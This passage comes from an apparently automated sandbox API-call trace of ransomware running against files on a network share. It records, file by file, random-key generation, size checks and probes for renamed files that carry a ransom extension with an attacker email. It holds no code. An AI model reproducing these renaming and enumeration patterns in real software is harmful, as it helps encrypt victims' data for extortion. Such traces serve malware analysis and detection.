dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.366] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.366] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IeyZTL6ti1EIr3r.csv" (normalized: "\\\\192.168.0.1\\documents\\6ieyztl6ti1eir3r.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.367] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=96995) returned 1 [0046.367] CloseHandle (hObject=0x14c) returned 1 [0046.367] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IeyZTL6ti1EIr3r.csv" (normalized: "\\\\192.168.0.1\\documents\\6ieyztl6ti1eir3r.csv")) returned 0x80 [0046.406] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IeyZTL6ti1EIr3r.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\6ieyztl6ti1eir3r.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.406] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IeyZTL6ti1EIr3r.csv" (normalized: "\\\\192.168.0.1\\documents\\6ieyztl6ti1eir3r.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.435] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.435] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ouLbzd5zuNL.xlsx" (normalized: "\\\\192.168.0.1\\documents\\oulbzd5zunl.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.437] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=94344) returned 1 [0046.437] CloseHandle (hObject=0x14c) returned 1 [0046.438] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ouLbzd5zuNL.xlsx" (normalized: "\\\\192.168.0.1\\documents\\oulbzd5zunl.xlsx")) returned 0x80 [0046.438] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ouLbzd5zuNL.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oulbzd5zunl.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.438] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ouLbzd5zuNL.xlsx" (normalized: "\\\\192.168.0.1\\documents\\oulbzd5zunl.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.574] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.574] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziDfPcXQbWyMR.mkv" (normalized: "\\\\192.168.0.1\\documents\\zidfpcxqbwymr.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.597] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=75901) returned 1 [0046.597] CloseHandle (hObject=0x14c) returned 1 [0046.597] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziDfPcXQbWyMR.mkv" (normalized: "\\\\192.168.0.1\\documents\\zidfpcxqbwymr.mkv")) returned 0x80 [0046.597] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziDfPcXQbWyMR.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zidfpcxqbwymr.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.597] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziDfPcXQbWyMR.mkv" (normalized: "\\\\192.168.0.1\\documents\\zidfpcxqbwymr.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.605] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.605] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XsxuUpRBb.png" (normalized: "\\\\192.168.0.1\\documents\\xsxuuprbb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.610] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=91475) returned 1 [0046.610] CloseHandle (hObject=0x14c) returned 1 [0046.610] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XsxuUpRBb.png" (normalized: "\\\\192.168.0.1\\documents\\xsxuuprbb.png")) returned 0x80 [0046.611] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XsxuUpRBb.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xsxuuprbb.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.611] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XsxuUpRBb.png" (normalized: "\\\\192.168.0.1\\documents\\xsxuuprbb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.619] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.619] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F2MyXNYBvTRkVNI7iEZq.ods" (normalized: "\\\\192.168.0.1\\documents\\f2myxnybvtrkvni7iezq.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.628] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=71859) returned 1 [0046.628] CloseHandle (hObject=0x14c) returned 1 [0046.628] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F2MyXNYBvTRkVNI7iEZq.ods" (normalized: "\\\\192.168.0.1\\documents\\f2myxnybvtrkvni7iezq.ods")) returned 0x80 [0046.628] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F2MyXNYBvTRkVNI7iEZq.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f2myxnybvtrkvni7iezq.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.629] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F2MyXNYBvTRkVNI7iEZq.ods" (normalized: "\\\\192.168.0.1\\documents\\f2myxnybvtrkvni7iezq.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.636] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.636] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\17V0s09qqy.m4a" (normalized: "\\\\192.168.0.1\\documents\\17v0s09qqy.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.643] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=20387) returned 1 [0046.643] CloseHandle (hObject=0x14c) returned 1 [0046.643] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\17V0s09qqy.m4a" (normalized: "\\\\192.168.0.1\\documents\\17v0s09qqy.m4a")) returned 0x80 [0046.644] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\17V0s09qqy.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\17v0s09qqy.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.644] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\17V0s09qqy.m4a" (normalized: "\\\\192.168.0.1\\documents\\17v0s09qqy.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.649] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.649] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XAdhL2WimPIvd1az2SF4.avi" (normalized: "\\\\192.168.0.1\\documents\\xadhl2wimpivd1az2sf4.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.651] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=21611) returned 1 [0046.651] CloseHandle (hObject=0x14c) returned 1 [0046.651] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XAdhL2WimPIvd1az2SF4.avi" (normalized: "\\\\192.168.0.1\\documents\\xadhl2wimpivd1az2sf4.avi")) returned 0x80 [0046.651] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XAdhL2WimPIvd1az2SF4.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xadhl2wimpivd1az2sf4.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.651] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XAdhL2WimPIvd1az2SF4.avi" (normalized: "\\\\192.168.0.1\\documents\\xadhl2wimpivd1az2sf4.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.683] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.683] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MvTzQbxzFuteK4.avi" (normalized: "\\\\192.168.0.1\\documents\\mvtzqbxzfutek4.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.684] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=72019) returned 1 [0046.684] CloseHandle (hObject=0x14c) returned 1 [0046.685] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MvTzQbxzFuteK4.avi" (normalized: "\\\\192.168.0.1\\documents\\mvtzqbxzfutek4.avi")) returned 0x80 [0046.685] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MvTzQbxzFuteK4.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mvtzqbxzfutek4.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.685] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MvTzQbxzFuteK4.avi" (normalized: "\\\\192.168.0.1\\documents\\mvtzqbxzfutek4.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.690] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.690] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0sa57fW.pptx" (normalized: "\\\\192.168.0.1\\documents\\0sa57fw.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.691] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=94595) returned 1 [0046.691] CloseHandle (hObject=0x14c) returned 1 [0046.691] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0sa57fW.pptx" (normalized: "\\\\192.168.0.1\\documents\\0sa57fw.pptx")) returned 0x80 [0046.692] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0sa57fW.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\0sa57fw.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.692] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0sa57fW.pptx" (normalized: "\\\\192.168.0.1\\documents\\0sa57fw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.695] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.695] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\m2U2YlUMt.gif" (normalized: "\\\\192.168.0.1\\documents\\m2u2ylumt.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.696] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=20257) returned 1 [0046.696] CloseHandle (hObject=0x14c) returned 1 [0046.696] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\m2U2YlUMt.gif" (normalized: "\\\\192.168.0.1\\documents\\m2u2ylumt.gif")) returned 0x80 [0046.697] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\m2U2YlUMt.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\m2u2ylumt.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.697] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\m2U2YlUMt.gif" (normalized: "\\\\192.168.0.1\\documents\\m2u2ylumt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.700] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0046.700] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vnG2KifH.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vng2kifh.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.702] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=24647) returned 1 [0046.702] CloseHandle (hObject=0x14c) returned 1 [0046.702] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vnG2KifH.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vng2kifh.xlsx")) returned 0x80 [0046.702] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vnG2KifH.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vng2kifh.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.702] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vnG2KifH.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vng2kifh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.059] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.059] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1FCq528Tci.avi" (normalized: "\\\\192.168.0.1\\documents\\1fcq528tci.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.064] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=47328) returned 1 [0047.064] CloseHandle (hObject=0x14c) returned 1 [0047.064] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1FCq528Tci.avi" (normalized: "\\\\192.168.0.1\\documents\\1fcq528tci.avi")) returned 0x80 [0047.064] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1FCq528Tci.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\1fcq528tci.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.065] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1FCq528Tci.avi" (normalized: "\\\\192.168.0.1\\documents\\1fcq528tci.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.217] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.217] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IOKuPykR.odp" (normalized: "\\\\192.168.0.1\\documents\\6iokupykr.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.220] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=58506) returned 1 [0047.220] CloseHandle (hObject=0x14c) returned 1 [0047.222] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IOKuPykR.odp" (normalized: "\\\\192.168.0.1\\documents\\6iokupykr.odp")) returned 0x80 [0047.222] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IOKuPykR.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\6iokupykr.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.223] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6IOKuPykR.odp" (normalized: "\\\\192.168.0.1\\documents\\6iokupykr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.318] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.318] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5IlHsHHuj.flv" (normalized: "\\\\192.168.0.1\\documents\\5ilhshhuj.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.372] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=26661) returned 1 [0047.372] CloseHandle (hObject=0x14c) returned 1 [0047.372] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5IlHsHHuj.flv" (normalized: "\\\\192.168.0.1\\documents\\5ilhshhuj.flv")) returned 0x80 [0047.373] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5IlHsHHuj.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\5ilhshhuj.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.373] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\5IlHsHHuj.flv" (normalized: "\\\\192.168.0.1\\documents\\5ilhshhuj.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.396] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.396] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X9DJzkehG84l5iXYb.rtf" (normalized: "\\\\192.168.0.1\\documents\\x9djzkehg84l5ixyb.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.399] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=95346) returned 1 [0047.399] CloseHandle (hObject=0x14c) returned 1 [0047.399] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X9DJzkehG84l5iXYb.rtf" (normalized: "\\\\192.168.0.1\\documents\\x9djzkehg84l5ixyb.rtf")) returned 0x80 [0047.400] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X9DJzkehG84l5iXYb.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\x9djzkehg84l5ixyb.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.400] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X9DJzkehG84l5iXYb.rtf" (normalized: "\\\\192.168.0.1\\documents\\x9djzkehg84l5ixyb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.422] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.422] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzFXuXTiFAk.mp4" (normalized: "\\\\192.168.0.1\\documents\\hzfxuxtifak.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.425] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=46894) returned 1 [0047.425] CloseHandle (hObject=0x14c) returned 1 [0047.425] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzFXuXTiFAk.mp4" (normalized: "\\\\192.168.0.1\\documents\\hzfxuxtifak.mp4")) returned 0x80 [0047.426] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzFXuXTiFAk.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hzfxuxtifak.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.426] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzFXuXTiFAk.mp4" (normalized: "\\\\192.168.0.1\\documents\\hzfxuxtifak.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.452] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.452] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yusqqOM7hYB90.xlsx" (normalized: "\\\\192.168.0.1\\documents\\yusqqom7hyb90.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.455] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=92066) returned 1 [0047.455] CloseHandle (hObject=0x14c) returned 1 [0047.455] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yusqqOM7hYB90.xlsx" (normalized: "\\\\192.168.0.1\\documents\\yusqqom7hyb90.xlsx")) returned 0x80 [0047.455] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yusqqOM7hYB90.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\yusqqom7hyb90.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.455] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yusqqOM7hYB90.xlsx" (normalized: "\\\\192.168.0.1\\documents\\yusqqom7hyb90.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.496] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0047.496] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rbURuD4ORn2Eem6rs.jpg" (normalized: "\\\\192.168.0.1\\documents\\rburud4orn2eem6rs.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.497] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=43127) returned 1 [0047.497] CloseHandle (hObject=0x14c) returned 1 [0047.497] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rbURuD4ORn2Eem6rs.jpg" (normalized: "\\\\192.168.0.1\\documents\\rburud4orn2eem6rs.jpg")) returned 0x80 [0047.497] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rbURuD4ORn2Eem6rs.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rburud4orn2eem6rs.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.498] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\rbURuD4ORn2Eem6rs.jpg" (normalized: "\\\\192.168.0.1\\documents\\rburud4orn2eem6rs.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 